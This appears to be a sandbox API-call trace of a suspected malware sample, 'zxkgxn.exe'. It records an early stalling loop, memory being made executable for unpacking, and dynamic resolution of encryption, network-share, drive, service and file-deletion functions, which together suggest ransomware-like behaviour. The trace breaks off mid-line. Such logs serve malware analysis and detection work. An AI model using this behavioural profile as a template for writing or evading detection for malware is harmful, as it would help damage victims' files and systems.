lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.026] GetMessageTime () returned 0 [0029.026] GetLastError () returned 0x578 [0029.026] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.026] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.026] GetMessageTime () returned 0 [0029.026] GetLastError () returned 0x578 [0029.026] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.026] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.026] GetMessageTime () returned 0 [0029.027] GetLastError () returned 0x578 [0029.027] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.027] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.027] GetMessageTime () returned 0 [0029.027] GetLastError () returned 0x578 [0029.027] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.027] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0031.084] LocalAlloc (uFlags=0x0, uBytes=0x44e2c) returned 0x633fe8 [0031.132] LocalAlloc (uFlags=0x0, uBytes=0x44e2c) returned 0x678e20 [0031.138] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0031.138] VirtualProtect (in: lpAddress=0x678e20, dwSize=0x33aa1, flNewProtect=0x40, lpflOldProtect=0x18e190 | out: lpflOldProtect=0x18e190*=0x4) returned 1 [0031.155] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0031.155] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0031.155] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0031.155] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0031.155] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0031.155] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0031.155] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0031.155] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0031.155] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0031.155] SetErrorMode (uMode=0x400) returned 0x0 [0031.155] SetErrorMode (uMode=0x0) returned 0x400 [0031.155] GetVersionExA (in: lpVersionInformation=0x18cc10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18cc10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0031.156] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0031.171] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18dc98 | out: lpflOldProtect=0x18dc98*=0x2) returned 1 [0031.207] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0031.208] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0031.209] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0031.209] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0031.209] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0031.209] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0031.209] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0031.209] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b50000 [0031.300] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0031.300] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0031.300] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0031.300] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0033.914] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0033.914] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0033.914] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0033.915] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0033.915] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0033.915] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0033.915] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0033.915] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74b10000 [0034.097] GetProcAddress (hModule=0x74b10000, lpProcName="timeGetTime") returned 0x74b126e0 [0034.097] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0034.097] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0034.097] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0034.097] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0034.097] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0034.097] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0034.098] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0034.098] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0034.098] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0034.098] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0034.098] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0034.098] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0034.098] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0034.098] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0034.098] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0034.098] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0034.098] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0034.098] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0034.098] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0034.098] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0034.099] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0034.100] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0034.101] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0034.102] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0034.103] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0034.104] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0034.105] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0034.106] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0034.106] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0034.106] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0034.106] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0034.106] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0034.106] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0034.106] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0034.106] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0034.106] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0034.106] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0034.106] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0034.107] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0034.107] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0034.107] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0034.107] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0034.107] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0034.107] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0034.107] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0034.107] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0034.107] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0034.107] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0034.107] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0034.107] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0034.107] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0034.107] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0034.108] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0034.108] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0034.108] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0034.108] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0034.108] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0034.108] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0034.108] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0034.108] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0034.108] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0034.108] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0034.108] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0034.108] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0034.108] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0034.108] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0034.109] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0034.110] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0034.110] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0035.749] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0035.749] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0035.749] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0035.750] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0035.750] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0035.750] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0035.750] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0035.750] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0035.750] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0035.750] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0035.750] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0035.750] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0035.750] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0035.750] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0035.750] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0035.751] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0035.751] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0035.751] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0035.751] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0035.751] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74af0000 [0035.938] GetProcAddress (hModule=0x74af0000, lpProcName="GetAdaptersInfo") returned 0x74af9263 [0035.938] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0036.126] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0036.126] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0036.126] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0036.126] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a90000 [0036.274] GetProcAddress (hModule=0x74a90000, lpProcName="DnsQuery_W") returned 0x74aa572c [0036.274] GetProcAddress (hModule=0x74a90000, lpProcName="DnsFree") returned 0x74a9436b [0036.274] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0036.274] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0036.275] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749d0000 [0036.439] GetProcAddress (hModule=0x749d0000, lpProcName="atexit") returned 0x749ec544 [0036.439] atexit (param_1=0x67a222) returned 0 [0036.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18dca8 | out: lpSystemTimeAsFileTime=0x18dca8*(dwLowDateTime=0x60f1f990, dwHighDateTime=0x1d52f22)) [0036.439] GetCurrentThreadId () returned 0xa18 [0036.440] GetCurrentProcessId () returned 0xa14 [0036.440] QueryPerformanceCounter (in: lpPerformanceCount=0x18dca0 | out: lpPerformanceCount=0x18dca0*=15674848342) returned 1 [0036.440] GetStartupInfoW (in: lpStartupInfo=0x18dc38 | out: lpStartupInfo=0x18dc38*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0036.440] GetProcessHeap () returned 0x620000 [0036.440] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.440] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0036.440] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0036.440] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0036.440] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0036.440] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0036.440] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0036.441] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0036.441] GetProcAddress (hModule=0x76c20000, 